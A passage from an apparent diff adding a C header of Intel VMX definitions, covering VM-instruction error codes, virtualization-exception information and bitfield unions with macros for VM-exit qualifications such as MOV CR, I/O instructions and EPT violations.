VMCALL with invalid VM-exit control fields. + */ +#define VMX_ERROR_VMCALL_INVALID_VMEXIT_FIELDS 0x00000014 + + /** + * VMCALL with incorrect MSEG revision identifier (when attempting to activate the dual-monitor treatment of SMIs and SMM). + */ +#define VMX_ERROR_VMCALL_INVALID_MSEG_REVISION_ID 0x00000016 + + /** + * VMXOFF under dual-monitor treatment of SMIs and SMM. + */ +#define VMX_ERROR_VMXOFF_DUAL_MONITOR 0x00000017 + + /** + * VMCALL with invalid SMM-monitor features (when attempting to activate the dual-monitor treatment of SMIs and SMM). + */ +#define VMX_ERROR_VMCALL_INVALID_SMM_MONITOR 0x00000018 + + /** + * VM entry with invalid VM-execution control fields in executive VMCS (when attempting to return from SMM). + */ +#define VMX_ERROR_VMENTRY_INVALID_VM_EXECUTION_CONTROL 0x00000019 + + /** + * VM entry with events blocked by MOV SS. + */ +#define VMX_ERROR_VMENTRY_MOV_SS 0x0000001A + + /** + * Invalid operand to INVEPT/INVVPID. + */ +#define VMX_ERROR_INVEPT_INVVPID_INVALID_OPERAND 0x0000001C + /** + * @} + */ + + /** + * @defgroup vmx_exceptions \ + * Virtualization Exceptions + * + * Virtualization Exceptions. + * + * @see Vol3C[25.5.6(Virtualization Exceptions)] (reference) + * @{ + */ +typedef struct +{ + /** + * The 32-bit value that would have been saved into the VMCS as an exit reason had a VM exit occurred instead of the + * virtualization exception. For EPT violations, this value is 48 (00000030H). + */ + uint32_t reason; + + /** + * FFFFFFFFH + */ + uint32_t exception_mask; + + /** + * The 64-bit value that would have been saved into the VMCS as an exit qualification had a VM exit occurred instead of the + * virtualization exception. + */ + uint64_t exit; + + /** + * The 64-bit value that would have been saved into the VMCS as a guest-linear address had a VM exit occurred instead of + * the virtualization exception. + */ + uint64_t guest_linear_address; + + /** + * The 64-bit value that would have been saved into the VMCS as a guest-physical address had a VM exit occurred instead of + * the virtualization exception. + */ + uint64_t guest_physical_address; + + /** + * The current 16-bit value of the EPTP index VM-execution control. + * + * @see Vol3C[24.6.18(Controls for Virtualization Exceptions)] + * @see Vol3C[25.5.5.3(EPTP Switching)] + */ + uint16_t current_eptp_index; +} vmx_virtualization_exception_information; + +/** + * @} + */ + + /** + * @defgroup vmx_basic_exit_information \ + * Basic VM-Exit Information + * + * Basic VM-Exit Information. + * + * @see Vol3C[27.2.1(Basic VM-Exit Information)] (reference) + * @{ + */ + /** + * @brief Exit Qualification for Debug Exceptions + */ +typedef union +{ + struct + { + /** + * @brief B0 - B3 + * + * [Bits 3:0] When set, each of these bits indicates that the corresponding breakpoint condition was met. Any of these bits + * may be set even if its corresponding enabling bit in DR7 is not set. + */ + uint64_t breakpoint_condition : 4; +#define VMX_EXIT_QUALIFICATION_DEBUG_EXCEPTION_BREAKPOINT_CONDITION_BIT 0 +#define VMX_EXIT_QUALIFICATION_DEBUG_EXCEPTION_BREAKPOINT_CONDITION_FLAG 0x0F +#define VMX_EXIT_QUALIFICATION_DEBUG_EXCEPTION_BREAKPOINT_CONDITION_MASK 0x0F +#define VMX_EXIT_QUALIFICATION_DEBUG_EXCEPTION_BREAKPOINT_CONDITION(_) (((_) >> 0) & 0x0F) + uint64_t reserved1 : 9; + + /** + * @brief BD + * + * [Bit 13] When set, this bit indicates that the cause of the debug exception is "debug register access detected." + */ + uint64_t debug_register_access_detected : 1; +#define VMX_EXIT_QUALIFICATION_DEBUG_EXCEPTION_DEBUG_REGISTER_ACCESS_DETECTED_BIT 13 +#define VMX_EXIT_QUALIFICATION_DEBUG_EXCEPTION_DEBUG_REGISTER_ACCESS_DETECTED_FLAG 0x2000 +#define VMX_EXIT_QUALIFICATION_DEBUG_EXCEPTION_DEBUG_REGISTER_ACCESS_DETECTED_MASK 0x01 +#define VMX_EXIT_QUALIFICATION_DEBUG_EXCEPTION_DEBUG_REGISTER_ACCESS_DETECTED(_) (((_) >> 13) & 0x01) + + /** + * @brief BS + * + * [Bit 14] When set, this bit indicates that the cause of the debug exception is either the execution of a single + * instruction (if RFLAGS.TF = 1 and IA32_DEBUGCTL.BTF = 0) or a taken branch (if RFLAGS.TF = DEBUGCTL.BTF = 1). + */ + uint64_t single_instruction : 1; +#define VMX_EXIT_QUALIFICATION_DEBUG_EXCEPTION_SINGLE_INSTRUCTION_BIT 14 +#define VMX_EXIT_QUALIFICATION_DEBUG_EXCEPTION_SINGLE_INSTRUCTION_FLAG 0x4000 +#define VMX_EXIT_QUALIFICATION_DEBUG_EXCEPTION_SINGLE_INSTRUCTION_MASK 0x01 +#define VMX_EXIT_QUALIFICATION_DEBUG_EXCEPTION_SINGLE_INSTRUCTION(_) (((_) >> 14) & 0x01) + uint64_t reserved2 : 49; + }; + + uint64_t flags; +} vmx_exit_qualification_debug_exception; + +/** + * @brief Exit Qualification for Task Switch + */ +typedef union +{ + struct + { + /** + * [Bits 15:0] Selector of task-state segment (TSS) to which the guest attempted to switch. + */ + uint64_t selector : 16; +#define VMX_EXIT_QUALIFICATION_TASK_SWITCH_SELECTOR_BIT 0 +#define VMX_EXIT_QUALIFICATION_TASK_SWITCH_SELECTOR_FLAG 0xFFFF +#define VMX_EXIT_QUALIFICATION_TASK_SWITCH_SELECTOR_MASK 0xFFFF +#define VMX_EXIT_QUALIFICATION_TASK_SWITCH_SELECTOR(_) (((_) >> 0) & 0xFFFF) + uint64_t reserved1 : 14; + + /** + * [Bits 31:30] Source of task switch initiation. + */ + uint64_t source : 2; +#define VMX_EXIT_QUALIFICATION_TASK_SWITCH_SOURCE_BIT 30 +#define VMX_EXIT_QUALIFICATION_TASK_SWITCH_SOURCE_FLAG 0xC0000000 +#define VMX_EXIT_QUALIFICATION_TASK_SWITCH_SOURCE_MASK 0x03 +#define VMX_EXIT_QUALIFICATION_TASK_SWITCH_SOURCE(_) (((_) >> 30) & 0x03) +#define VMX_EXIT_QUALIFICATION_TYPE_CALL_INSTRUCTION 0x00000000 +#define VMX_EXIT_QUALIFICATION_TYPE_IRET_INSTRUCTION 0x00000001 +#define VMX_EXIT_QUALIFICATION_TYPE_JMP_INSTRUCTION 0x00000002 +#define VMX_EXIT_QUALIFICATION_TYPE_TASK_GATE_IN_IDT 0x00000003 + uint64_t reserved2 : 32; + }; + + uint64_t flags; +} vmx_exit_qualification_task_switch; + +/** + * @brief Exit Qualification for Control-Register Accesses + */ +typedef union +{ + struct + { + /** + * [Bits 3:0] Number of control register (0 for CLTS and LMSW). Bit 3 is always 0 on processors that do not support Intel + * 64 architecture as they do not support CR8. + */ + uint64_t control_register : 4; +#define VMX_EXIT_QUALIFICATION_MOV_CR_CONTROL_REGISTER_BIT 0 +#define VMX_EXIT_QUALIFICATION_MOV_CR_CONTROL_REGISTER_FLAG 0x0F +#define VMX_EXIT_QUALIFICATION_MOV_CR_CONTROL_REGISTER_MASK 0x0F +#define VMX_EXIT_QUALIFICATION_MOV_CR_CONTROL_REGISTER(_) (((_) >> 0) & 0x0F) +#define VMX_EXIT_QUALIFICATION_REGISTER_CR0 0x00000000 +#define VMX_EXIT_QUALIFICATION_REGISTER_CR2 0x00000002 +#define VMX_EXIT_QUALIFICATION_REGISTER_CR3 0x00000003 +#define VMX_EXIT_QUALIFICATION_REGISTER_CR4 0x00000004 +#define VMX_EXIT_QUALIFICATION_REGISTER_CR8 0x00000008 + + /** + * [Bits 5:4] Access type. + */ + uint64_t access_type : 2; +#define VMX_EXIT_QUALIFICATION_MOV_CR_ACCESS_TYPE_BIT 4 +#define VMX_EXIT_QUALIFICATION_MOV_CR_ACCESS_TYPE_FLAG 0x30 +#define VMX_EXIT_QUALIFICATION_MOV_CR_ACCESS_TYPE_MASK 0x03 +#define VMX_EXIT_QUALIFICATION_MOV_CR_ACCESS_TYPE(_) (((_) >> 4) & 0x03) +#define VMX_EXIT_QUALIFICATION_ACCESS_MOV_TO_CR 0x00000000 +#define VMX_EXIT_QUALIFICATION_ACCESS_MOV_FROM_CR 0x00000001 +#define VMX_EXIT_QUALIFICATION_ACCESS_CLTS 0x00000002 +#define VMX_EXIT_QUALIFICATION_ACCESS_LMSW 0x00000003 + + /** + * [Bit 6] LMSW operand type. For CLTS and MOV CR, cleared to 0. + */ + uint64_t lmsw_operand_type : 1; +#define VMX_EXIT_QUALIFICATION_MOV_CR_LMSW_OPERAND_TYPE_BIT 6 +#define VMX_EXIT_QUALIFICATION_MOV_CR_LMSW_OPERAND_TYPE_FLAG 0x40 +#define VMX_EXIT_QUALIFICATION_MOV_CR_LMSW_OPERAND_TYPE_MASK 0x01 +#define VMX_EXIT_QUALIFICATION_MOV_CR_LMSW_OPERAND_TYPE(_) (((_) >> 6) & 0x01) +#define VMX_EXIT_QUALIFICATION_LMSW_OP_REGISTER 0x00000000 +#define VMX_EXIT_QUALIFICATION_LMSW_OP_MEMORY 0x00000001 + uint64_t reserved1 : 1; + + /** + * [Bits 11:8] For MOV CR, the general-purpose register. + */ + uint64_t general_purpose_register : 4; +#define VMX_EXIT_QUALIFICATION_MOV_CR_GENERAL_PURPOSE_REGISTER_BIT 8 +#define VMX_EXIT_QUALIFICATION_MOV_CR_GENERAL_PURPOSE_REGISTER_FLAG 0xF00 +#define VMX_EXIT_QUALIFICATION_MOV_CR_GENERAL_PURPOSE_REGISTER_MASK 0x0F +#define VMX_EXIT_QUALIFICATION_MOV_CR_GENERAL_PURPOSE_REGISTER(_) (((_) >> 8) & 0x0F) +#define VMX_EXIT_QUALIFICATION_GENREG_RAX 0x00000000 +#define VMX_EXIT_QUALIFICATION_GENREG_RCX 0x00000001 +#define VMX_EXIT_QUALIFICATION_GENREG_RDX 0x00000002 +#define VMX_EXIT_QUALIFICATION_GENREG_RBX 0x00000003 +#define VMX_EXIT_QUALIFICATION_GENREG_RSP 0x00000004 +#define VMX_EXIT_QUALIFICATION_GENREG_RBP 0x00000005 +#define VMX_EXIT_QUALIFICATION_GENREG_RSI 0x00000006 +#define VMX_EXIT_QUALIFICATION_GENREG_RDI 0x00000007 +#define VMX_EXIT_QUALIFICATION_GENREG_R8 0x00000008 +#define VMX_EXIT_QUALIFICATION_GENREG_R9 0x00000009 +#define VMX_EXIT_QUALIFICATION_GENREG_R10 0x0000000A +#define VMX_EXIT_QUALIFICATION_GENREG_R11 0x0000000B +#define VMX_EXIT_QUALIFICATION_GENREG_R12 0x0000000C +#define VMX_EXIT_QUALIFICATION_GENREG_R13 0x0000000D +#define VMX_EXIT_QUALIFICATION_GENREG_R14 0x0000000E +#define VMX_EXIT_QUALIFICATION_GENREG_R15 0x0000000F + uint64_t reserved2 : 4; + + /** + * [Bits 31:16] For LMSW, the LMSW source data. For CLTS and MOV CR, cleared to 0. + */ + uint64_t lmsw_source_data : 16; +#define VMX_EXIT_QUALIFICATION_MOV_CR_LMSW_SOURCE_DATA_BIT 16 +#define VMX_EXIT_QUALIFICATION_MOV_CR_LMSW_SOURCE_DATA_FLAG 0xFFFF0000 +#define VMX_EXIT_QUALIFICATION_MOV_CR_LMSW_SOURCE_DATA_MASK 0xFFFF +#define VMX_EXIT_QUALIFICATION_MOV_CR_LMSW_SOURCE_DATA(_) (((_) >> 16) & 0xFFFF) + uint64_t reserved3 : 32; + }; + + uint64_t flags; +} vmx_exit_qualification_mov_cr; + +/** + * @brief Exit Qualification for MOV DR + */ +typedef union +{ + struct + { + /** + * [Bits 2:0] Number of debug register. + */ + uint64_t debug_register : 3; +#define VMX_EXIT_QUALIFICATION_MOV_DR_DEBUG_REGISTER_BIT 0 +#define VMX_EXIT_QUALIFICATION_MOV_DR_DEBUG_REGISTER_FLAG 0x07 +#define VMX_EXIT_QUALIFICATION_MOV_DR_DEBUG_REGISTER_MASK 0x07 +#define VMX_EXIT_QUALIFICATION_MOV_DR_DEBUG_REGISTER(_) (((_) >> 0) & 0x07) +#define VMX_EXIT_QUALIFICATION_REGISTER_DR0 0x00000000 +#define VMX_EXIT_QUALIFICATION_REGISTER_DR1 0x00000001 +#define VMX_EXIT_QUALIFICATION_REGISTER_DR2 0x00000002 +#define VMX_EXIT_QUALIFICATION_REGISTER_DR3 0x00000003 +#define VMX_EXIT_QUALIFICATION_REGISTER_DR6 0x00000006 +#define VMX_EXIT_QUALIFICATION_REGISTER_DR7 0x00000007 + uint64_t reserved1 : 1; + + /** + * [Bit 4] Direction of access (0 = MOV to DR; 1 = MOV from DR). + */ + uint64_t direction_of_access : 1; +#define VMX_EXIT_QUALIFICATION_MOV_DR_DIRECTION_OF_ACCESS_BIT 4 +#define VMX_EXIT_QUALIFICATION_MOV_DR_DIRECTION_OF_ACCESS_FLAG 0x10 +#define VMX_EXIT_QUALIFICATION_MOV_DR_DIRECTION_OF_ACCESS_MASK 0x01 +#define VMX_EXIT_QUALIFICATION_MOV_DR_DIRECTION_OF_ACCESS(_) (((_) >> 4) & 0x01) +#define VMX_EXIT_QUALIFICATION_DIRECTION_MOV_TO_DR 0x00000000 +#define VMX_EXIT_QUALIFICATION_DIRECTION_MOV_FROM_DR 0x00000001 + uint64_t reserved2 : 3; + + /** + * [Bits 11:8] General-purpose register. + */ + uint64_t general_purpose_register : 4; +#define VMX_EXIT_QUALIFICATION_MOV_DR_GENERAL_PURPOSE_REGISTER_BIT 8 +#define VMX_EXIT_QUALIFICATION_MOV_DR_GENERAL_PURPOSE_REGISTER_FLAG 0xF00 +#define VMX_EXIT_QUALIFICATION_MOV_DR_GENERAL_PURPOSE_REGISTER_MASK 0x0F +#define VMX_EXIT_QUALIFICATION_MOV_DR_GENERAL_PURPOSE_REGISTER(_) (((_) >> 8) & 0x0F) + uint64_t reserved3 : 52; + }; + + uint64_t flags; +} vmx_exit_qualification_mov_dr; + +/** + * @brief Exit Qualification for I/O Instructions + */ +typedef union +{ + struct + { + /** + * [Bits 2:0] Size of access. + */ + uint64_t size_of_access : 3; +#define VMX_EXIT_QUALIFICATION_IO_INSTRUCTION_SIZE_OF_ACCESS_BIT 0 +#define VMX_EXIT_QUALIFICATION_IO_INSTRUCTION_SIZE_OF_ACCESS_FLAG 0x07 +#define VMX_EXIT_QUALIFICATION_IO_INSTRUCTION_SIZE_OF_ACCESS_MASK 0x07 +#define VMX_EXIT_QUALIFICATION_IO_INSTRUCTION_SIZE_OF_ACCESS(_) (((_) >> 0) & 0x07) +#define VMX_EXIT_QUALIFICATION_WIDTH_1_BYTE 0x00000000 +#define VMX_EXIT_QUALIFICATION_WIDTH_2_BYTE 0x00000001 +#define VMX_EXIT_QUALIFICATION_WIDTH_4_BYTE 0x00000003 + + /** + * [Bit 3] Direction of the attempted access (0 = OUT, 1 = IN). + */ + uint64_t direction_of_access : 1; +#define VMX_EXIT_QUALIFICATION_IO_INSTRUCTION_DIRECTION_OF_ACCESS_BIT 3 +#define VMX_EXIT_QUALIFICATION_IO_INSTRUCTION_DIRECTION_OF_ACCESS_FLAG 0x08 +#define VMX_EXIT_QUALIFICATION_IO_INSTRUCTION_DIRECTION_OF_ACCESS_MASK 0x01 +#define VMX_EXIT_QUALIFICATION_IO_INSTRUCTION_DIRECTION_OF_ACCESS(_) (((_) >> 3) & 0x01) +#define VMX_EXIT_QUALIFICATION_DIRECTION_OUT 0x00000000 +#define VMX_EXIT_QUALIFICATION_DIRECTION_IN 0x00000001 + + /** + * [Bit 4] String instruction (0 = not string; 1 = string). + */ + uint64_t string_instruction : 1; +#define VMX_EXIT_QUALIFICATION_IO_INSTRUCTION_STRING_INSTRUCTION_BIT 4 +#define VMX_EXIT_QUALIFICATION_IO_INSTRUCTION_STRING_INSTRUCTION_FLAG 0x10 +#define VMX_EXIT_QUALIFICATION_IO_INSTRUCTION_STRING_INSTRUCTION_MASK 0x01 +#define VMX_EXIT_QUALIFICATION_IO_INSTRUCTION_STRING_INSTRUCTION(_) (((_) >> 4) & 0x01) +#define VMX_EXIT_QUALIFICATION_IS_STRING_NOT_STRING 0x00000000 +#define VMX_EXIT_QUALIFICATION_IS_STRING_STRING 0x00000001 + + /** + * [Bit 5] REP prefixed (0 = not REP; 1 = REP). + */ + uint64_t rep_prefixed : 1; +#define VMX_EXIT_QUALIFICATION_IO_INSTRUCTION_REP_PREFIXED_BIT 5 +#define VMX_EXIT_QUALIFICATION_IO_INSTRUCTION_REP_PREFIXED_FLAG 0x20 +#define VMX_EXIT_QUALIFICATION_IO_INSTRUCTION_REP_PREFIXED_MASK 0x01 +#define VMX_EXIT_QUALIFICATION_IO_INSTRUCTION_REP_PREFIXED(_) (((_) >> 5) & 0x01) +#define VMX_EXIT_QUALIFICATION_IS_REP_NOT_REP 0x00000000 +#define VMX_EXIT_QUALIFICATION_IS_REP_REP 0x00000001 + + /** + * [Bit 6] Operand encoding (0 = DX, 1 = immediate). + */ + uint64_t operand_encoding : 1; +#define VMX_EXIT_QUALIFICATION_IO_INSTRUCTION_OPERAND_ENCODING_BIT 6 +#define VMX_EXIT_QUALIFICATION_IO_INSTRUCTION_OPERAND_ENCODING_FLAG 0x40 +#define VMX_EXIT_QUALIFICATION_IO_INSTRUCTION_OPERAND_ENCODING_MASK 0x01 +#define VMX_EXIT_QUALIFICATION_IO_INSTRUCTION_OPERAND_ENCODING(_) (((_) >> 6) & 0x01) +#define VMX_EXIT_QUALIFICATION_ENCODING_DX 0x00000000 +#define VMX_EXIT_QUALIFICATION_ENCODING_IMMEDIATE 0x00000001 + uint64_t reserved1 : 9; + + /** + * [Bits 31:16] Port number (as specified in DX or in an immediate operand). + */ + uint64_t port_number : 16; +#define VMX_EXIT_QUALIFICATION_IO_INSTRUCTION_PORT_NUMBER_BIT 16 +#define VMX_EXIT_QUALIFICATION_IO_INSTRUCTION_PORT_NUMBER_FLAG 0xFFFF0000 +#define VMX_EXIT_QUALIFICATION_IO_INSTRUCTION_PORT_NUMBER_MASK 0xFFFF +#define VMX_EXIT_QUALIFICATION_IO_INSTRUCTION_PORT_NUMBER(_) (((_) >> 16) & 0xFFFF) + uint64_t reserved2 : 32; + }; + + uint64_t flags; +} vmx_exit_qualification_io_instruction; + +/** + * @brief Exit Qualification for APIC-Access VM Exits from Linear Accesses and Guest-Physical Accesses + */ +typedef union +{ + struct + { + /** + * [Bits 11:0] - If the APIC-access VM exit is due to a linear access, the offset of access within the APIC page. + * - Undefined if the APIC-access VM exit is due a guest-physical access. + */ + uint64_t page_offset : 12; +#define VMX_EXIT_QUALIFICATION_APIC_ACCESS_PAGE_OFFSET_BIT 0 +#define VMX_EXIT_QUALIFICATION_APIC_ACCESS_PAGE_OFFSET_FLAG 0xFFF +#define VMX_EXIT_QUALIFICATION_APIC_ACCESS_PAGE_OFFSET_MASK 0xFFF +#define VMX_EXIT_QUALIFICATION_APIC_ACCESS_PAGE_OFFSET(_) (((_) >> 0) & 0xFFF) + + /** + * [Bits 15:12] Access type. + */ + uint64_t access_type : 4; +#define VMX_EXIT_QUALIFICATION_APIC_ACCESS_ACCESS_TYPE_BIT 12 +#define VMX_EXIT_QUALIFICATION_APIC_ACCESS_ACCESS_TYPE_FLAG 0xF000 +#define VMX_EXIT_QUALIFICATION_APIC_ACCESS_ACCESS_TYPE_MASK 0x0F +#define VMX_EXIT_QUALIFICATION_APIC_ACCESS_ACCESS_TYPE(_) (((_) >> 12) & 0x0F) + /** + * Linear access for a data read during instruction execution. + */ +#define VMX_EXIT_QUALIFICATION_TYPE_LINEAR_READ 0x00000000 + + /** + * Linear access for a data write during instruction execution. + */ +#define VMX_EXIT_QUALIFICATION_TYPE_LINEAR_WRITE 0x00000001 + + /** + * Linear access for an instruction fetch. + */ +#define VMX_EXIT_QUALIFICATION_TYPE_LINEAR_INSTRUCTION_FETCH 0x00000002 + + /** + * Linear access (read or write) during event delivery. + */ +#define VMX_EXIT_QUALIFICATION_TYPE_LINEAR_EVENT_DELIVERY 0x00000003 + + /** + * Guest-physical access during event delivery. + */ +#define VMX_EXIT_QUALIFICATION_TYPE_PHYSICAL_EVENT_DELIVERY 0x0000000A + + /** + * Guest-physical access for an instruction fetch or during instruction execution. + */ +#define VMX_EXIT_QUALIFICATION_TYPE_PHYSICAL_INSTRUCTION_FETCH 0x0000000F + uint64_t reserved1 : 48; + }; + + uint64_t flags; +} vmx_exit_qualification_apic_access; + +/** + * @brief Exit Qualification for EPT Violations + */ +typedef union +{ + struct + { + /** + * [Bit 0] Set if the access causing the EPT violation was a data read. + */ + uint64_t read_access : 1; +#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_READ_ACCESS_BIT 0 +#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_READ_ACCESS_FLAG 0x01 +#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_READ_ACCESS_MASK 0x01 +#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_READ_ACCESS(_) (((_) >> 0) & 0x01) + + /** + * [Bit 1] Set if the access causing the EPT violation was a data write. + */ + uint64_t write_access : 1; +#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_WRITE_ACCESS_BIT 1 +#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_WRITE_ACCESS_FLAG 0x02 +#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_WRITE_ACCESS_MASK 0x01 +#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_WRITE_ACCESS(_) (((_) >> 1) & 0x01) + + /** + * [Bit 2] Set if the access causing the EPT violation was an instruction fetch. + */ + uint64_t execute_access : 1; +#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_EXECUTE_ACCESS_BIT 2 +#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_EXECUTE_ACCESS_FLAG 0x04 +#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_EXECUTE_ACCESS_MASK 0x01 +#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_EXECUTE_ACCESS(_) (((_) >> 2) & 0x01) + + /** + * [Bit 3] The logical-AND of bit 0 in the EPT paging-structure entries used to translate the guest-physical address of the + * access causing the EPT violation (indicates whether the guest-physical address was readable). + */ + uint64_t ept_readable : 1; +#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_EPT_READABLE_BIT 3 +#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_EPT_READABLE_FLAG 0x08 +#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_EPT_READABLE_MASK 0x01 +#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_EPT_READABLE(_) (((_) >> 3) & 0x01) + + /** + * [Bit 4] The logical-AND of bit 1 in the EPT paging-structure entries used to translate the guest-physical address of the + * access causing the EPT violation (indicates whether the guest-physical address was writeable). + */ + uint64_t ept_writeable : 1; +#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_EPT_WRITEABLE_BIT 4 +#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_EPT_WRITEABLE_FLAG 0x10 +#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_EPT_WRITEABLE_MASK 0x01 +#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_EPT_WRITEABLE(_) (((_) >> 4) & 0x01) + + /** + * [Bit 5] The logical-AND of bit 2 in the EPT paging-structure entries used to translate the guest-physical address of the + * access causing the EPT violation. + * If the "mode-based execute control for EPT" VM-execution control is 0, this indicates whether the guest-physical address + * was executable. If that control is 1, this indicates whether the guest-physical address was executable for + * supervisor-mode linear addresses. + */ + uint64_t ept_executable : 1; +#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_EPT_EXECUTABLE_BIT 5 +#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_EPT_EXECUTABLE_FLAG 0x20 +#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_EPT_EXECUTABLE_MASK 0x01 +#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_EPT_EXECUTABLE(_) (((_) >> 5) & 0x01) + + /** + * [Bit 6] If the "mode-based execute control" VM-execution control is 0, the value of this bit is undefined. If that + * control is 1, this bit is the logical-AND of bit 10 in the EPT paging-structures entries used to translate the + * guest-physical address of the access causing the EPT violation. In this case, it indicates whether the guest-physical + * address was executable for user-mode linear addresses. + */ + uint64_t ept_executable_for_user_mode : 1; +#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_EPT_EXECUTABLE_FOR_USER_MODE_BIT 6 +#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_EPT_EXECUTABLE_FOR_USER_MODE_FLAG 0x40 +#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_EPT_EXECUTABLE_FOR_USER_MODE_MASK 0x01 +#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_EPT_EXECUTABLE_FOR_USER_MODE(_) (((_) >> 6) & 0x01) + + /** + * [Bit 7] Set if the guest linear-address field is valid. The guest linear-address field is valid for all EPT violations + * except those resulting from an attempt to load the guest PDPTEs as part of the execution of the MOV CR instruction. + */ + uint64_t valid_guest_linear_address : 1; +#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_VALID_GUEST_LINEAR_ADDRESS_BIT 7 +#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_VALID_GUEST_LINEAR_ADDRESS_FLAG 0x80 +#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_VALID_GUEST_LINEAR_ADDRESS_MASK 0x01 +#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_VALID_GUEST_LINEAR_ADDRESS(_) (((_) >> 7) & 0x01) + + /** + * [Bit 8] If bit 7 is 1: + * - Set if the access causing the EPT violation is to a guest-physical address that is the translation of a linear + * address. + * - Clear if the access causing the EPT violation is to a paging-structure entry as part of a page walk or the update of + * an accessed or dirty bit. + * Reserved if bit 7 is 0 (cleared to 0). + */ + uint64_t caused_by_translation : 1; +#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_CAUSED_BY_TRANSLATION_BIT 8 +#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_CAUSED_BY_TRANSLATION_FLAG 0x100 +#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_CAUSED_BY_TRANSLATION_MASK 0x01 +#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_CAUSED_BY_TRANSLATION(_) (((_) >> 8) & 0x01) + + /** + * [Bit 9] This bit is 0 if the linear address is a supervisor-mode linear address and 1 if it is a user-mode linear + * address. Otherwise, this bit is undefined. + * + * @remarks If bit 7 is 1, bit 8 is 1, and the processor supports advanced VM-exit information for EPT violations. (If + * CR0.PG = 0, the translation of every linear address is a user-mode linear address and thus this bit will be 1.) + */ + uint64_t user_mode_linear_address : 1; +#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_USER_MODE_LINEAR_ADDRESS_BIT 9 +#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_USER_MODE_LINEAR_ADDRESS_FLAG 0x200 +#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_USER_MODE_LINEAR_ADDRESS_MASK 0x01 +#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_USER_MODE_LINEAR_ADDRESS(_) (((_) >> 9) & 0x01) + + /** + * [Bit 10] This bit is 0 if paging translates the linear address to a read-only page and 1 if it translates to a + * read/write page. Otherwise, this bit is undefined + * + * @remarks If bit 7 is 1, bit 8 is 1, and the processor supports advanced VM-exit information for EPT violations. (If + * CR0.PG = 0, every linear address is read/write and thus this bit will be 1.) + */ + uint64_t readable_writable_page : 1; +#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_READABLE_WRITABLE_PAGE_BIT 10 +#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_READABLE_WRITABLE_PAGE_FLAG 0x400 +#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_READABLE_WRITABLE_PAGE_MASK 0x01 +#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_READABLE_WRITABLE_PAGE(_) (((_) >> 10) & 0x01) + + /** + * [Bit 11] This bit is 0 if paging translates the linear address to an executable page and 1 if it translates to an + * execute-disable page. Otherwise, this bit is undefined. + * + * @remarks If bit 7 is 1, bit 8 is 1, and the processor supports advanced VM-exit information for EPT violations. (If + * CR0.PG = 0, CR4.PAE = 0, or IA32_EFER.NXE = 0, every linear address is executable and thus this bit will be 0.) + */ + uint64_t execute_disable_page : 1; +#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_EXECUTE_DISABLE_PAGE_BIT 11 +#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_EXECUTE_DISABLE_PAGE_FLAG 0x800 +#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_EXECUTE_DISABLE_PAGE_MASK 0x01 +#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_EXECUTE_DISABLE_PAGE(_) (((_) >> 11) & 0x01) + + /** + * [Bit 12] NMI unblocking due to IRET. + */ + uint64_t nmi_unblocking : 1; +#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_NMI_UNBLOCKING_BIT 12 +#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_NMI_UNBLOCKING_FLAG 0x1000 +#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_NMI_UNBLOCKING_MASK 0x01 +#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_NMI_UNBLOCKING(_) (((_) >> 12) & 0x01) + uint64_t reserved1 : 51; + }; + + uint64_t flags; +} vmx_exit_qualification_ept_violation; + +/** + * @} + */ + + /** + * @defgroup vmx_vmexit_instruction_information \ + * Information for VM Exits Due to Instruction Execution + * + * Information for VM Exits Due to Instruction Execution. + * + * @see Vol3C[27.2.4(Information for VM Exits Due to Instruction Execution)] (reference) + * @{ + */ + /** + * @brief VM-Exit Instruction-Information Field as Used for INS and OUTS + */ +typedef union +{ + struct + { + uint64_t reserved1 : 7; + + /** + * @brief Address size + * + * [Bits 9:7] 0: 16-bit + * 1: 32-bit + * 2: 64-bit (used only on processors that support Intel 64 architecture) + * Other values not used. + */ + uint64_t address_size : 3; +#define 